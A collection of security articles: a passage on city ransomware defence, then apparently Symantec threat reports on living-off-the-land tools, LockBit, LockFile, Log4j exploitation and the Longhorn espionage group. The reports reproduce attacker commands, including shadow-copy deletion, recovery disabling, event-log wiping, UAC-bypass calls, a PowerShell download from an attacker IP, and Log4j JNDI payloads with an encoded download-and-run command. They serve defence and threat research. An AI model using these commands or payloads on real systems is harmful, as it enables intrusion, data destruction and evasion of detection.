Larger cities like New York and Miami generally can afford to protect themselves and have the sophistication to do it. Beyond that, however, many municipalities struggle with cyber security, according to MacLellan. “They lack the resources, expertise, and basic cyber hygiene practices to adequately defend themselves.”
The timing of the resource crunch comes as local officials continue to face barriers improving their state’s ability to address cyber security. A 2018 survey of CIOs by COMPTIA found that 82 percent of CIOs said the most common challenge was the increasing sophistication of threats with a close second being the inability to attract and retain top-tier security and privacy talent at 71 percent.
Cyber criminals operate like any other for-profit enterprises and go after low-hanging fruit. And these days, that means cities, where local budgets are under increasing pressure.
Locking Out the Bad Guys
Given all that, what can cities do to protect themselves against ransomware? Plenty. Disaster recovery expert Asher DeMetz says that municipalities ought to adopt a multistage approach.
First, they need to protect themselves, so they don’t get hit. Also, they should take measures designed to make sure they can recover in the event they do get hit.
They also should focus on basic cyber security practices, including using proxy servers to halt malicious downloads, disabling USB thumb drives and similar devices, and using security software to protect against email threats and malware. They should also segment their networks so that if ransomware or other malware gets through, it remains contained in only one portion of the network and doesn’t spread widely.
In the event of an attack, cities must have a strong backup solution, including offsite backups that are totally air-gapped so that if ransomware hits, it can’t hit the main backup.
Lastly, they need to practice recovering from a ransomware attack, so if it does happen, they can re-image and get back to work quickly.
MacLellan added that cities should follow best-practice security frameworks, such the NIST Cyber Security Framework. He allowed, though, that many cities don’t have the resources and personnel to do that, “and so they should do what a lot of states are beginning to do, contracting for managed cyber security services or a managed SOC (Security Operations Center) to handle their security.” That way, he noted, cities will get the highest level of security possible, without having to hire high-priced staff or buy expensive infrastructure.
He added that cities should buy cyber insurance. That will protect them from footing potentially multi-million-dollar recovery costs in the event of attacks. According to reports, Baltimore didn’t do that and is now on the hook to pay a substantial bill.
CIOs and CISOs need to be more proactive in warning elected officials and top municipal executives about the cyber threats they face and the resources and solutions required to protect against them.
Beyond that, MacLellan added that cities “should work more closely with their state or partner cities or counties, to share buying power and scale up.” Working closely also means sharing information and advice.
Ultimately, he said, CIOs and CISOs need to be more proactive in warning elected officials and top municipal executives about the cyber threats they face and the resources and solutions required to protect against them.
“They need to articulate the liabilities to the people who hold the purse strings. They have to say, ‘Our risk profile looks like this, here’s what it will cost to shore up our defenses, and, based on what we’ve seen from cities like Baltimore and Atlanta, this is what recovery would cost after a successful attack.’ Going through a process like this will help build the business case for things like managed services.”
“In the end,” MacLellan continued, “Cyber security needs to be budgeted as an operational expense not as a capital expense. Those cities that can build and sustain an effective and adaptable cyber security program are not only more secure, they are less appealing as a target.”
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Living off the Land: Attackers Leverage Legitimate Tools for Malicious Ends
Living-off-the-land techniques remain popular, with Symantec blocking 480,000 PowerShell commands in one month alone
“Living-off-the-land” tactics—where attackers take advantage of native tools and services already present on targeted systems—have been used by both targeted attack groups and common cyber criminal gangs for some time now. Symantec has previously published research that gives a general overview of living-off-the-land tactics and fileless attack techniques; however, our new research provides updated statistics on the dual-use tools utilized in these attacks—with a focus on PowerShell and Windows Management Instrumentation (WMI)—and how they are currently being used by different attack groups.
Malicious or benign?
The most frequently executed tools observed by Symantec in Q1 2019 were net.exe, PowerShell, the certification utility, the task scheduler, and the WMI command line (WMIC). However, only a fraction of the overall usage of these tools was malicious. The context and execution sequence must be considered when determining if usage is malicious or benign. To do this, we extract execution patterns from our data with the help of advanced machine learning, and the data is then analyzed by our AI-based Targeted Attack Analytics (TAA) component.
We also looked at more than 500,000 dual-use tool detections from the beginning of September 2019, which were either used to download or copy payloads to target computers. This revealed that WMI, the command line tool, and PowerShell were most frequently used for malicious purposes, accounting for 89 percent of all dual-use tools used as downloaders.
Figure 1. Dual-use tools used as downloaders
PowerShell
In September 2019 alone, Symantec blocked more than 480,000 malicious PowerShell scripts on endpoints. This number, while significant and steadily increasing, still only represents 0.8 percent of all observed PowerShell usage.
Symantec data from between September 2018 and September 2019 shows a 406 percent increase in the number of blocked PowerShell scripts, and this number is likely to increase even further.
We also analyzed 100,000 PowerShell command line arguments, keywords used, and frequency of occurrence of parent processes, to discover which were the most frequently used during attacks. Full details of this can be seen in the white paper.
WMI
Interestingly, 48 percent of all malicious PowerShell commands were started through WMI. The tool is commonly used to spread PowerShell scripts laterally in internal networks. A typical process for executing a command on a remote system using WMI involves the remote system spawning an instance of wmiprvse.exe and then running the command which, as mentioned, is often a PowerShell command. This means that wmiprvse.exe is present in most process parent chains for malicious PowerShell scripts.
Figure 2. Parent processes initiated by WMI
Targeted attack groups
Targeted attack groups have been using living-off-the-land tactics for a long time, with almost all active groups having been spotted using dual-use tools at some point. Using these methods allows the attackers to hide their activity among legitimate administration work, and makes attribution difficult as there are no binaries to be analyzed and fewer indicators of compromise (IoC).
Looking at six active targeted attack groups and the living-off-the-land tools they use reveals that PowerShell is by far the most popular, with all six utilizing it in their attacks. In all, around 77 percent of targeted attack incidents made use of PowerShell. The credential-dumping tool Mimikatz, used by four of the groups, is the second most popular tool.
Figure 3. Dual-use tool usage among active targeted attack groups
To learn more about the latest living-off-the-land tactics and techniques, download our white paper: Living off the Land – Turning Your Infrastructure Against You
Protection
Symantec solutions use multiple security technologies to defend against living-off-the-land and fileless attacks, including endpoint security, endpoint detection and response, email security, and network security.
Symantec Endpoint Protection solution includes various dedicated features that specifically tackle the living-off-the-land challenge.
Symantec Endpoint Threat Defense for Active Directory restricts post-exploit incursions by preventing credential theft and lateral movement by combining AI, obfuscation, and advanced forensics methodologies at the endpoint to contain attacks in real-time.
Deception technology uses baits to expose hidden adversaries and reveal attacker intent, tactics, and targets.
Symantec Endpoint Application Control strengthens defense against advanced attacks by minimizing the attack surface and allowing only known good applications to run.
Symantec Endpoint Application Isolation shields known good applications from tampering by stopping attackers from exploiting application vulnerabilities. It also isolates malicious and suspicious applications to prevent any privileged operations that can harm the endpoint.
Non-PE file emulator de-obfuscates and detects JavaScript, VBScript, VBA Macro, and PowerShell threats.
Command-line detection engine is specialized in monitoring dual-use tools and their behavior.
In addition to Symantec Endpoint Detection and Response (SEDR), Symantec’s Managed Endpoint Detection and Response Service (MEDR) leverages automated attack hunting provided by analytics as well as Symantec analyst security expertise to remotely investigate and contain incursions by adversaries in customer networks.
Mitigation
Symantec recommends users observe the following best practices to protect against targeted attacks:
Local environment
Monitor the use of dual-use tools inside your network.
Ensure you have the latest version of PowerShell and you have logging enabled.
Restrict access to RDP Services. Only allow RDP from specific known IP addresses and ensure you are using multi-factor authentication (MFA).
Implement proper audit and control of administrative account usage. You could also implement one-time credentials for administrative work to help prevent theft and misuse of admin credentials.
Create profiles of usage for admin tools. Many of these tools are used by attackers to move laterally undetected through a network.
Use application whitelisting where applicable.
Locking down PowerShell can increase security, for example with the constrained language
mode.
Make credential dumping more difficult, for example by enabling credential guard in Windows 10 or disabling SeDebugPrivilege.
MFA can help limit the usefulness of compromised credentials.
Email
Enable MFA to prevent the compromise of credentials during phishing attacks.
Harden security architecture around email systems to minimize the amount of spam that reaches end-user inboxes and ensure you are following best practices for your email system, including the use of SPF and other defensive measures against phishing attacks.
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LockBit: Ransomware Puts Servers in the Crosshairs
LockBit affiliates using servers to spread ransomware throughout networks.
Symantec, a division of Broadcom Software, has observed threat actors targeting server machines in order to spread the LockBit ransomware threat throughout compromised networks.
In one attack observed by Symantec, LockBit was seen identifying domain-related information, creating a Group Policy for lateral movement, and executing a "gpupdate /force" command on all systems within the same domain, which forcefully updates group policy.
LockBit
LockBit is a ransomware-as-a-service (RaaS) operated by malicious actors Symantec tracks as Syrphid.
Shortly after it first appeared in September 2019, the Syrphid gang expanded its operations, using a network of affiliates to deploy the LockBit ransomware on victim networks. The ransomware, which has currently reached version 3.0, has evolved over the past few years, as has its operators who have recently launched a bug bounty program in order to weed out weaknesses in the malware’s code and the RaaS operation as a whole.
Attack chain
In one observed instance, before dropping and executing the LockBit ransomware, an attacker had RDP access to the enterprise network for a couple of weeks at least. This access may have been obtained through remote desktop applications such as AnyDesk or Windows RDP, or by exploiting a known vulnerability, etc.
LockBit behaves differently on server machines with domain controllers than on Windows 10 machines. When executed on a server, it has the capability to spread through the network using Group Policy. On Windows 10 machines it performs routine ransomware activity and encrypts files.
When LockBit is executed on a server machine it carries out the following actions:
1. Debugger check
LockBit first checks if the malware process is being debugged. If this is the case, it goes into an infinite loop.
Figure 1. If malware process is being debugged, LockBit goes into an infinite loop
2. Language Check
It calls GetSystemDefaultUILanguage and GetUserDefaultUILanguage to check the language.
If the language matches with the one on the malware’s list then it terminates immediately.
LockBit does not target Russia or a selection of nearby countries.
Figure 2. LockBit calls GetSystemDefaultUILanguage and GetUserDefaultUILanguage to check the language.
3. End running processes and disable services
LockBit ends a list of running processes related to malware analysis and other processes like Process Explorer, Process Monitor, Wireshark, Dumpcap, Process Hacker, cmd.exe, TeamViewer, Notepad, Notepad++, WordPad etc.
Disables a list of services related to SQL, backup, and MSExchange etc.
4. Privilege escalation
Duplicates the token by calling DuplicateTokenEx and creates a new process using CreateProcessAsUserW.
After it achieves privilege escalation, LockBit relaunches itself under DLLHost.exe. Once the new process is spawned, the LockBit process ends itself.
5. Bypass UAC
LockBit injects code into dllhost.exe with CLSIDs of COM objects, which runs the following command to bypass UAC:
A. Exploiting USERENV.dll to bypass UAC
C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
B. Bypass method in hfiref0x’s UACME
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
C. Exploiting the ICMLuaUtil elevated COM Interface-Object
C:\Windows\SysWOW64\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}
6. LockBit creates a copy of itself under the SYSVOL directory “c:\windows\sysvol\domain\scripts\< Lockbit executable>”
7. Creating a Group Policy:
Once the malware identifies it is running as an admin user and a domain controller is installed on the system, it creates a Group Policy to stop services, end processes, and copy LockBit etc.
Under the “C:\Windows\SYSVOL\domain\Policies\<policy GUID>” folder, LockBit creates XML files that are required for the Group Policy.
Computer configurations:
It first creates a policy to turn off Windows Defender, suppress all notifications, disable file submissions, turn off real-time protection etc.
It then maps the network drive through Group Policy.
Disables services related to SQL server at startup.
User Configurations:
The malware copied the ransomware from SYSVOL to the Desktop directory.
It then creates a scheduled task to end the list of processes previously mentioned.
Figure 3.Group Policy XML file used to copy LockBit from the shared SYSVOL location to client’s desktop location.
Figure 4. Group Policy created by LockBit can be seen in the Group Policy Management console.
Figure 5. Group Policy details to disable Defender and several additional options.
Figure 6. Group Policy used to map network drives.
Figure 7. Group Policy used to disable SQL services at startup.
Figure 8 Group Policy used to copy LockBit from the SYSVOL shared location to the desktop.
Figure 9. Group Policy used to end processes using the taskkill command.
Figure 10. Group Policy used to execute the LockBit ransomware.
8. Lateral movement:
LockBit launches powershell.exe to run the command shown below in order to search through all the computers on the Active Directory. For each host it uses the GPUpdate force command (gpupdate) to apply the newly created Group Policy.
powershell.exe. exe -Command "Get-ADComputer -filter * -Searchbase 'DC=symcdemos,DC=local' | foreach{ Invoke-GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}"
9. Executes gpupdate command on the domain controller where LockBit is running. Also runs gpupdate to run policies from the computer configurations and user configurations.
gpupdate.exe /target:computer /force
gpupdate.exe /target:user /force
10. Firewall
LockBit reads firewall rules using the Windows Defender Firewall with Advanced Security API's “FwPolicy2” object. The following CLSID COM object is called:
C:\Windows\system32\DllHost.exe /Processid:{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}
11. Impact
LockBit attempts to delete shadow copies using VSSADMIN and WMIC. It also tries to disable recovery using the BCDEdit command.
"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Deletes Windows event logs using:
wevtutil cl security
wevtutil cl system
wevtutil cl application
12. Encrypts files and appends the .lockbit file extension.
13. MSHTA.exe
Creates the file lockbit.hta and executes it to display a ransom note.
Figure 11. LockBit ransom note.
LockBit has been one of, if not the most active of RaaS gangs in 2022. The drop in Conti activity in May helped LockBit reach the top spot, with some reports stating that the threat was behind as much as 40% of ransomware attacks.
LockBit’s success is also due to its developers and affiliates continued evolution of features and tactics, which include the malware’s fast encryption speed, ability to target both Windows and Linux machines, its brash recruitment drives, and high-profile targets. In addition, as previously mentioned, the launch of a rewards program for vulnerabilities in LockBit’s code and for suggestions on improving the RaaS operation will no-doubt help the ransomware remain a serious threat to organizations.
Indicators of Compromise (IOCs)
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
5181d2e71e8e73a82712a483a80aaea94e1efa785f2b8b8ee9641544c0b652f0 - lockbit_6341d6e5844c8289.exe
llll.exe – copy of LockBit ransomware
hxxps://temp[.]sh/AErDa/LockBit_6341D6E5844C8289[.]exe - Payload URL
MITRE Techniques
Figure 12. MITRE techniques used by the LockBit ransomware.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Symantec Endpoint Protection (SEP) protects against ransomware attacks using multiple static and dynamic technologies.
AV Protection
Ransom.LockBit
Ransom.LockBit!g2
Scr.Malscript!gen1
Behavior Protection
SONAR.RansomLckbit!g3
SONAR.RansomNokibi!g1
SONAR.RansomLckbit!g1
Intrusion Prevention System (IPS) Protection
[SID: 33705] Attack: Lockbit Ransomware Binary Copy GPO Config
[SID: 33706] Attack: Lockbit Ransomware Services Disable GPO Config
[SID: 33707] Attack: Lockbit Ransomware Enable Share GPO Config
[SID: 33708] Attack: Lockbit Ransomware Security Services Taskkill GPO
Symantec Data Center Security (DCS) hardening policies for Windows Servers and Domain Controllers prevent LockBit ransomware installation. The default DCS lockdown prevents lateral movement of LockBit ransomware on the network and protects servers from LockBit execution attempts to tamper with Group Policies and critical system resources.
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LockFile: Ransomware Uses PetitPotam Exploit to Compromise Windows Domain Controllers
Previously unseen ransomware hit at least 10 organizations in ongoing campaign.
UPDATE August 23: Third parties have identified a ProxyShell exploit as a potential vector for the PowerShell-related commands that are identified in this blog. Researcher Kevin Beaumont first spotted that ProxyShell was being exploited from 209.14.0[.]234 on August 13. The ProxyShell and LockFile link is also mentioned in this Twitter thread. Protection information has been updated below based on this new information.
What appears to be a new ransomware family is being used to target victims in various industries around the globe.
The LockFile ransomware was first observed on the network of a U.S. financial organization on July 20, 2021, with its latest activity seen as recently as August 20. LockFile has been seen on organizations around the world, with most of its victims based in the U.S. and Asia.
Indications are that the attackers gain access to victims' networks via Microsoft Exchange Servers, and then use the incompletely patched PetitPotam vulnerability to gain access to the domain controller, and then spread across the network. It is not clear how the attackers gain initial access to the Microsoft Exchange Servers.
Victims are in the manufacturing, financial services, engineering, legal, business services, and travel and tourism sectors.
The attackers behind this ransomware use a ransom note with a similar design to that used by the LockBit ransomware gang (Figure 1) and reference the Conti gang in the email address they use - contact@contipauper[.]com.
Figure 1. The LockFile ransom note
Attack chain
Exchange servers are compromised through an as yet unidentified technique. On exploitation, the attacker executes a PowerShell command such as the following:
powershell wget hxxp://209.14.0[.]234:46613/VcEtrKighyIFS5foGNXH
Other powershell wget commands to the same IP address use similar seemingly random high port numbers. It is unknown exactly what is downloaded by the PowerShell command; however, the attackers maintain access on victim networks for at least several days before beginning the ransomware attack.
Typically around 20 to 30 minutes prior to deploying ransomware, the attackers install a set of tools onto the compromised Exchange Server. Included in these tools is:
An exploit for the CVE-2021-36942 vulnerability (aka PetitPotam). The code appears to be copied from https://github.com/zcgonvh/EfsPotato. This is in a file called “efspotato.exe”.
Two files: active_desktop_render.dll and active_desktop_launcher.exe
The active_desktop_launcher.exe is a legitimate version of KuGou Active Desktop. The executable is being used in a DLL search order loading attack to load a malicious active_desktop_render.dll file. This active_desktop_render.dll file, when loaded by the active_desktop_launcher.exe, attempts to load and decrypt a file in the local directory called “desktop.ini”. If the file is successfully loaded and decrypted, shellcode from the file is executed. As the investigation into these attacks is ongoing, a copy of “desktop.ini” has yet to be retrieved for analysis.
The encrypted shellcode, however, very likely activates the efspotato.exe file that exploits PetitPotam. This is an NTLM relay attack bug that can be used by a low-privileged attacker to take over a domain controller. It was patched in Microsoft’s August Patch Tuesday release, but it subsequently emerged that the fix released reportedly did not fully patch the vulnerability.
Once access has been gained to the local domain controller, the attackers copy over the LockFile ransomware, along with a batch file and supporting executables, onto the domain controller. These files are copied into the “sysvol\domain\scripts” directory. This directory is used to deploy scripts to network clients when they authenticate to the domain controller. This means that any clients that authenticate to the domain after these files have been copied over will execute them.
The files that are copied into the Sysvol directory are:
Autologin.bat
Autologin.exe
Autologin.dll
Autologin.sys
Autoupdate.exe
The Autoupdate.exe file is a variant of the LockFile payload, which is unique to each organization targeted.
The Autologin.exe, Autlogin.dll, and Autologin.sys files are all part of a toolkit called the Kernel Driver Utility (KDU - https://github.com/hfiref0x/KDU). Autologin.dll is the “Tanikaze.dll” component, and the autologin.exe is the “Hamakaze” component. It is currently unclear exactly how the KDU tool is utilized by the attacker in conjunction with the ransomware. Regardless of how they are utilized, the LockFile ransomware is ultimately executed.
A new threat?
LockFile appears to be a new threat on the already crowded ransomware landscape. The investigation into this threat, and whether it may have links to any previously seen or retired ransomware threats continues. This is an ongoing investigation and Symantec, part of Broadcom Software, may update this blog with new information if it comes to light.
Protection
The following protections are in place to protect customers against LockFile attacks:
File-based
Ransom.Lockfile
Ransom.CryptoTorLocker
Network-based
OS Attack: SMB EFS NTLM Relay Attempt
Audit: SMB EFS NTLM Relay Attempt 2
Web Attack: Microsoft Exchange Server RCE CVE-2021-34473
Web Attack: Microsoft Exchange Server Elevation of Privilege CVE-2021-34523
For the latest protection updates, please visit the Symantec Protection Bulletin.
Policy-based
Symantec Data Center Security default hardening policies for Microsoft Exchange servers and Windows Domain Controllers protect against ProxyShell vulnerabilities and prevent LockFile ransomware attacks on Domain Controllers.
Indicators of Compromise
SHA256 Hashes MD5 Hashes Description
ed834722111782b2931e36cfa51b38852c813e3d7a4d16717f59c1d037b62291 957af740e1d88fabdaf73bd619cb3d31 active_desktop_render.dll
cafe54e85c539671c94abdeb4b8adbef3bde8655006003088760d04a86b5f915 f08e24f57501f2c4e009b6a7d9249e99 autoupdate.exe
36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9 bc70a7b384558cafbbc04f00a59cbe8d autologin.sys
5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203c5340a0f 8ed32ace2fbce50296d3a1a16d963ba7 autologin.exe
1091643890918175dc751538043ea0743618ec7a5a9801878554970036524b75 8d17765168677ef76400b497fb0c0fd3 autologin.dll
2a23fac4cfa697cc738d633ec00f3fbe93ba22d2498f14dea08983026fdf128a 1f0a89360bb9471af8b2b1136eafd65f autoupdate.exe
7bcb25854ea2e5f0b8cfca7066a13bc8af8e7bac6693dea1cdad5ef193b052fd 335b9a537a380ec5936a7210ad64d955 efspotato.exe
c020d16902bd5405d57ee4973eb25797087086e4f8079fac0fd8420c716ad153 2163489886929ffc596983d42965a670 active_desktop_render.dll
a926fe9fc32e645bdde9656470c7cd005b21590cda222f72daf854de9ffc4fe0 ef37842fc159631f9dd8f94c5e05a674 autoupdate.exe
368756bbcaba9563e1eef2ed2ce59046fb8e69fb305d50a6232b62690d33f690 435b568f7ac982b58ab86e8680d9042e autologin.sys
d030d11482380ebf95aea030f308ac0e1cd091c673c7846c61c625bdf11e5c3a 49dd23214007c7f839eebcd83a3c9465 autoupdate.exe
a0066b855dc93cf88f29158c9ffbbdca886a5d6642cbcb9e71e5c759ffe147f8 d51dff297c293bac5871a9b82e982103 autoupdate.exe
bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce 52e1fed4c521294c5de95bba958909c1 LockFile
IP address:
209.14.0.234
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Log4j Vulnerabilities: Attack Insights
Symantec data shows variation and scope of attacks.
Apache Log4j is a Java-based logging utility. The library’s main role is to log information related to security and performance to make error debugging easier and to enable applications to run smoothly. The library is part of the Apache Logging Services, a project of the Apache Software Foundation.
Log4j has been making headlines recently after the public disclosure of three critical vulnerabilities in the utility which can lead to remote code execution (CVE-2021-44228 and CVE-2021-45046) and denial of service (CVE-2021-45105). The initial remote code execution vulnerability (CVE-2021-44228) has been dubbed Log4Shell and has dominated cyber-security news ever since it was publicly disclosed on December 9. The vulnerability has been exploited to deploy a plethora of payloads like coin miners, Dridex malware, and even ransomware such as Conti.
Variations in attacks
Symantec, a division of Broadcom Software, has observed numerous variations in attack requests primarily aimed at evading detection. Some sample attack requests can be seen in Table 1.
Table 1. Sample of Log4j vulnerability attack requests seen by Symantec
Attack requests
${jndi:ldap://:1389/Exploit}
${jndi:dns://MASKED_IP.1/securityscan-http8085}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//MASKED_IP:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')
${${lower:${lower:jndi}}:${lower:rmi}://MASKED_IP:1389/Binary}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://MASKED_IP:1389/Binary}
${${::-j}${::-n}d${::-i}:${::-l}${::-d}${::-a}${::-p}://${::-1}${::-5}${::-9}.${::-2}${::-2}MASKED_IP:44${::-3}/${::-o}=${::-t}omca${::-t}}
Attackers are predominantly using the LDAP and RMI protocols to download malicious payloads. We have also recorded vulnerability scans using protocols such as IIOP, DNS, HTTP, NIS etc.
Payloads
Muhstik Botnet - We have observed attackers downloading malicious Java class files as a part of Log4shell exploitation. The malicious class file downloads a shell file with the content shown in Figure 1.
Figure 1. Content of shell file downloaded by malicious class file
The shell script attempts to download Executable and Linkable Format (ELF) files and execute them, which leads to the installation of the Muhstik botnet.
XMRig miner - We have also observed attackers installing the XMRig cryptocurrency miner as a part of post-exploitation activity related to Log4shell exploitation. The miner is downloaded via a simple PowerShell command (Figure 2).
Figure 2. PowerShell command used to download XMRig miner
The miner is executed with the command shown in Figure 3.
Figure 3. Command used to execute XMRig miner
Malicious class file backdoor - We have also seen attacks attempt to download a malicious Java class file that acts as a backdoor. The class file has code to listen for and execute commands from the attacker (Figure 4).
Figure 4. Code used to listen for and execute commands from attacker
Reverse Bash shell – Attackers were also observed deploying reverse shells on vulnerable machines (Figure 5).
Figure 5. Code used to deploy reverse shell on vulnerable machines
Other publicly reported payloads include the Khonsari and Conti ransomware threats, the Orcus remote access Trojan (RAT), and the Dridex malware, among others.
Symantec IPS data
For the period between December 9 (when the first Log4j vulnerability was disclosed) and December 21, Symantec’s Intrusion Prevention System (IPS) blocked more than 93 million Log4Shell related exploitation attempts on more than 270,000 unique machines.
Figure 6. Blocked Log4Shell related exploitation attempts against unique machines
During the same time frame, IPS blocked more than 18 million Log4Shell related exploitation attempts on more than 60,000 unique server machines.
Figure 7. Blocked Log4Shell related exploitation attempts against servers
The majority of Log4Shell attacks blocked by Symantec were against machines located in the U.S. and the United Kingdom, followed by Singapore, India, and Australia.
Figure 8. The majority of Log4Shell attacks blocked by Symantec were against machines located in the U.S. and United Kingdom
Meanwhile, the majority of attacks exploiting the Log4j vulnerabilities seem to originate from devices located in the U.S. and Germany, followed by Russia, the United Kingdom, and China.
Figure 9. The majority of attackers exploiting the Log4j vulnerabilities are located in the U.S. and Germany
Protection
Behavior-based
SONAR.Maljava!g7
SONAR.Ransomware!g1
SONAR.Ransomware!g31
SONAR.Ransomware!g32
SONAR.SuspLaunch!g184
SONAR.SuspLaunch!g185
File-based
CL.Suspexec!gen106
CL.Suspexec!gen107
CL.Suspexec!gen108
Linux.Kaiten
Miner.XMRig!gen2
Ransom.Khonsari
Ransom.Tellyouthepass
Ransom.Tellyouthepa!g1
Ransom.Tellyouthepa!g2
Trojan Horse
Trojan.Maljava
Machine learning-based
Heur.AdvML.C
Network-based
Audit: Suspicious Java Class File Executing Arbitrary Commands
Audit: Log4j2 RCE CVE-2021-44228
Audit: Malicious LDAP Response
Attack: Log4j2 RCE CVE-2021-44228 2
Attack: Malicious LDAP Response
Attack: Log4j2 RCE CVE-2021-44228
Attack: Log4j CVE-2021-45046
Attack: Log4j CVE-2021-45105
Web Attack: Malicious Java Payload Download 2
Web Attack: Malicious Java Payload Download 3
Web Attack: Malicious Java Payload Download 4
Policy-based
DCS provides multi-layered protection for Windows, Linux Server workloads, and container applications for this vulnerability:
Suspicious Process Execution: Prevention policies prevent malware from being dropped or executed on the system. DCS hardened Linux servers prevent execution of malware from temp or other writable locations, a technique used by attackers to drop crypto miners such as XMRig in reported Log4shell exploitation.
Review the Linux proxy execution list for your Log4j-based application sandbox to include additional tools such as */curl, */wget. These tools are used by attackers to connect from the victim Log4j application to external command-and-control servers for downloading additional payloads.
DCS sandboxing of Windows and Linux applications prevent suspicious program execution using living-off-the-land tools and tampering of critical system services and resources.
Network Control: Ability to block outgoing connections to public internet and limit required LDAP, HTTP, and other traffic from server workloads and containerized applications using Log4j2 to internal trusted systems.
Detection Policies: System Attack detection: Baseline_WebAttackDetection_Generic_MaliciousUserAgent rule should be updated to include *jndi:* select string to alert on malicious server requests using the suspicious jndi lookup attempts via jndi:ldap, jndi:rmi, jndi:dns etc. Make sure to set the path to your web server access log file in the IDS Web Attack Detection option. Similar custom text log rules should be added for each of your Log4j application log files.
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Longhorn: Tools used by cyberespionage group linked to Vault 7
Symantec has continued to track the group in order to learn more about its tools, tactics, and procedures.
Spying tools and operational protocols detailed in the recent Vault 7 leak have been used in cyberattacks against at least 40 targets in 16 different countries by a group Symantec calls Longhorn. Symantec has been protecting its customers from Longhorn’s tools for the past three years and has continued to track the group in order to learn more about its tools, tactics, and procedures.
The tools used by Longhorn closely follow development timelines and technical specifications laid out in documents disclosed by WikiLeaks. The Longhorn group shares some of the same cryptographic protocols specified in the Vault 7 documents, in addition to following leaked guidelines on tactics to avoid detection. Given the close similarities between the tools and techniques, there can be little doubt that Longhorn's activities and the Vault 7 documents are the work of the same group.
Who is Longhorn?
Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker.
Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally.
The link to Vault 7
A number of documents disclosed by WikiLeaks outline specifications and requirements for malware tools. One document is a development timeline for a piece of malware called Fluxwire, containing a changelog of dates for when new features were incorporated. These dates align closely with the development of one Longhorn tool (Trojan.Corentry) tracked by Symantec. New features in Corentry consistently appeared in samples obtained by Symantec either on the same date listed in the Vault 7 document or several days later, leaving little doubt that Corentry is the malware described in the leaked document.
Early versions of Corentry seen by Symantec contained a reference to the file path for the Fluxwire program database (PDB) file. The Vault 7 document lists removal of the full path for the PDB as one of the changes implemented in Version 3.5.0.
Up until 2014, versions of Corentry were compiled using GCC. According to the Vault 7 document, Fluxwire switched to a MSVC compiler for version 3.3.0 on February 25, 2015. This was reflected in samples of Corentry, where a version compiled on February 25, 2015 had used MSVC as a compiler.
Table. Corentry version numbers and compilation dates compared to Fluxwire version numbers and changelog dates disclosed in Vault 7
Corentry sample (MD5 hash) Date/time of sample compilation Embedded Corentry version number Corentry compiler Vault 7 changelog number Vault 7 changelog date
N/A N/A N/A N/A 2.1.0 - 2.4.1 Jan 12, 2011 - Feb 28, 2013
e20d5255d8ab1ff5f157847d2f3ffb25 23/08/2013 10:20 3.0.0 GCC 3.0.0 Aug 23, 2013
5df76f1ad59e019e52862585d27f1de2 21/02/2014 11:07 3.1.0 GCC 3.1.0 Feb 20, 2014
318d8b61d642274dd0513c293e535b38 15/05/2014 09:01 3.1.1 GCC 3.1.1 May 14, 2014
N/A N/A N/A N/A 3.2.0 Jul 15, 2014
511a473e26e7f10947561ded8f73ffd0 03/09/2014 00:12 3.2.1 GCC 3.2.1 Aug 18, 2014
c06d422656ca69827f63802667723932 25/02/2015 16:50 N/A MSVC 3.3.0 Feb 25, 2015
N/A N/A N/A N/A 3.3.1 -> 3.5.0 May 17, 2015 -> Nov 13, 2015
A second Vault 7 document details Fire and Forget, a specification for user-mode injection of a payload by a tool called Archangel. The specification of the payload and the interface used to load it was closely matched in another Longhorn tool called Backdoor.Plexor.
A third document outlines cryptographic protocols that malware tools should follow. These include the use of inner cryptography within SSL to prevent man-in-the-middle (MITM) attacks, key exchange once per connection, and use of AES with a 32-byte key. These requirements align with the cryptographic practices observed by Symantec in all of the Longhorn tools.
Other Vault 7 documents outline tradecraft practices to be used, such as use of the Real-time Transport Protocol (RTP) as a means of command and control (C&C) communications, employing wipe-on-use as standard practice, in-memory string de-obfuscation, using a unique deployment-time key for string obfuscation, and the use of secure erase protocols involving renaming and overwriting. Symantec has observed Longhorn tools following all of these practices. While other malware families are known to use some of these practices, the fact that so many of them are followed by Longhorn makes it noteworthy.
Global reach: Longhorn’s operations
While active since at least 2011, with some evidence of activity dating back as far as 2007, Longhorn first came to Symantec’s attention in 2014 with the use of a zero-day exploit (CVE-2014-4148) embedded in a Word document to infect a target with Plexor.
The malware had all the hallmarks of a sophisticated cyberespionage group. Aside from access to zero-day exploits, the group had preconfigured Plexor with elements that indicated prior knowledge of the target environment.
To date, Symantec has found evidence of Longhorn activities against 40 targets spread across 16 different countries. Symantec has seen Longhorn use four different malware tools against its targets: Corentry, Plexor, Backdoor.Trojan.LH1, and Backdoor.Trojan.LH2.
